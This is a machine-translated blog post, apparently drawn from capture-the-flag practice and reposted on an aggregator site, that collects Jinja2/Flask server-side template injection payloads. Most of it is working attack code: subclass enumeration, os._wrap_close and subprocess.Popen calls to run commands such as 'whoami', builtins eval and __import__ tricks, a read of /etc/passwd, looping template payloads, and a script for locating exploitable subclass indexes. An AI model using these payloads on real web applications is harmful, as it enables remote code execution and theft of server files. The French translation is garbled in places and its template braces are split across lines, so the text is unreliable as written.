当前位置:网站首页>Ssti (injection de gabarit) - (7)

Ssti (injection de gabarit) - (7)

2022-06-10 03:47:00 Sept, six, neuf.

La façon de penser

Trouvez d'abord le point d'existence de la vulnérabilité
Exporter toutes les classes.

{
    {
    ().__class__.__bases__[0].__subclasses__()}}

Trouver dans la liste des sous - classes peutgetshellLa classe de/Rappelez - vous que certaines choses courantes peuventgetshellFonction de.

1、Oui.popen()La classe de

os._wrap_close
payload:
{
    {
    "".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__['popen']('whoami').read()}}
subprocess.Popen
payload:
?search={
    {
    ''.__class__.__mro__[2].__subclasses__()[258]('ls',shell=True,stdout=-1).communicate()[0].strip()}}
?search={
    {
    ''.__class__.__mro__[2].__subclasses__()[258]('ls /flasklight',shell=True,stdout=-1).communicate()[0].strip()}}
?search={
    {
    ''.__class__.__mro__[2].__subclasses__()[258]('cat /flasklight/coomme_geeeett_youur_flek',shell=True,stdout=-1).communicate()[0].strip()}}

2、Oui.osDu module

socket._socketobject(En général71)、site._PrinterModule équivalent

payload:
{
    {
    [].__class__.__bases__[0].__subclasses__()[71].__init__.__globals__['os'].popen(cat /xxx/flag)}}
{
    {
    [].__class__.__bases__[0].__subclasses__()[127].__init__['__glo'+'bals__']['os'].popen('whoami').read()}}

3、Oui.builtinsLa classe de

__ builtins __Exécution du Code(Méthodes les plus couramment utilisées)

warnings.catch_warningsContient:,Il y a aussiemail.header._ValueFormatter

__ builtins __ Est un module qui contient un grand nombre de fonctions intégrées,Nous utilisons habituellementpythonLa raison pour laquelle vous pouvez utiliser des fonctions commeabs,max,C'est parce que__ builtins __ Ce type de module estPythonImporté pour nous au démarrage,Peut être utilisédir(__ builtins __ )Pour voir la liste des méthodes d'appel,Et puis on peut découvrir__ builtins __ En bas.eval,__ import __Fonction de etc.,Vous pouvez donc l'utiliser pour exécuter des commandes.

{
    {
    ().__class__.__bases__[0].__subclasses__()[140].__init__.__globals__['__builtins__']['eval']("__import__('os').system('whoami')")}}

{
    {
    ().__class__.__bases__[0].__subclasses__()[140].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()")}}

{
    {
    ().__class__.__bases__[0].__subclasses__()[140].__init__.__globals__['__builtins__']['__import__']('os').popen('whoami').read()}}

{
    {
    ().__class__.__bases__[0].__subclasses__()[140].__init__.__globals__['__builtins__']['open']('/etc/passwd').read()}}

Cycle d'exécution du modèle

{
    % for c in ().__class__.__base__.__subclasses__() %}{
    % if c.__name__=='catch_warnings' %}{
    {
     c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('whoami').read()") }}{
    % endif %}{
    % endfor %}

{
    % for c in [].__class__.__base__.__subclasses__() %}
{
    % if c.__name__ == 'catch_warnings' %}
  {
    % for b in c.__init__.__globals__.values() %}
  {
    % if b.__class__ == {
    }.__class__ %}
    {
    % if 'eval' in b.keys() %}
      {
    {
     b['eval']('__import__("os").popen("whoami").read()') }}
    {
    % endif %}
  {
    % endif %}
  {
    % endfor %}
{
    % endif %}
{
    % endfor %}

Lire le fichierpayload

{
    % for c in ().__class__.__base__.__subclasses__() %}{
    % if c.__name__=='catch_warnings' %}{
    {
     c.__init__.__globals__['__builtins__'].open('filename', 'r').read() }}{
    % endif %}{
    % endfor %}

warnings.catch_warnings La classe est définie en interne _module=sys.modules[‘warnings’],Et puiswarningsLe module contient__builtins__, C'est - à - dire, si vous pouviez trouver warnings.catch_warningsCatégorie,Peut ne pas utiliserglobals,payloadComme suit

{
    {
    ''.__class__.__mro__[1].__subclasses__()[40]()._module.__builtins__['__import__']("os").popen('whoami').read()}}

En résumé, Le principe est de trouver d'abord ce qui contient __builtins__La classe de, Ensuite, il sera utilisé plus avant

Scripts communs:

Commençons par énumérer toutes les sous - classes
Ensuite, mettez la liste des sous - classes dans le script suivant aMoyenne,Et chercheros._wrap_closeCette classe

import json

a = """ <class 'type'>,...,<class 'subprocess.Popen'> """

num = 0
allList = []

result = ""
for i in a:
    if i == ">":
        result += i
        allList.append(result)
        result = ""
    elif i == "\n" or i == ",":
        continue
    else:
        result += i
        
for k,v in enumerate(allList):
    if "os._wrap_close" in v:
        print(str(k)+"--->"+v)
原网站

版权声明
本文为[Sept, six, neuf.]所创,转载请带上原文链接,感谢
https://yzsam.com/2022/161/202206100336484631.html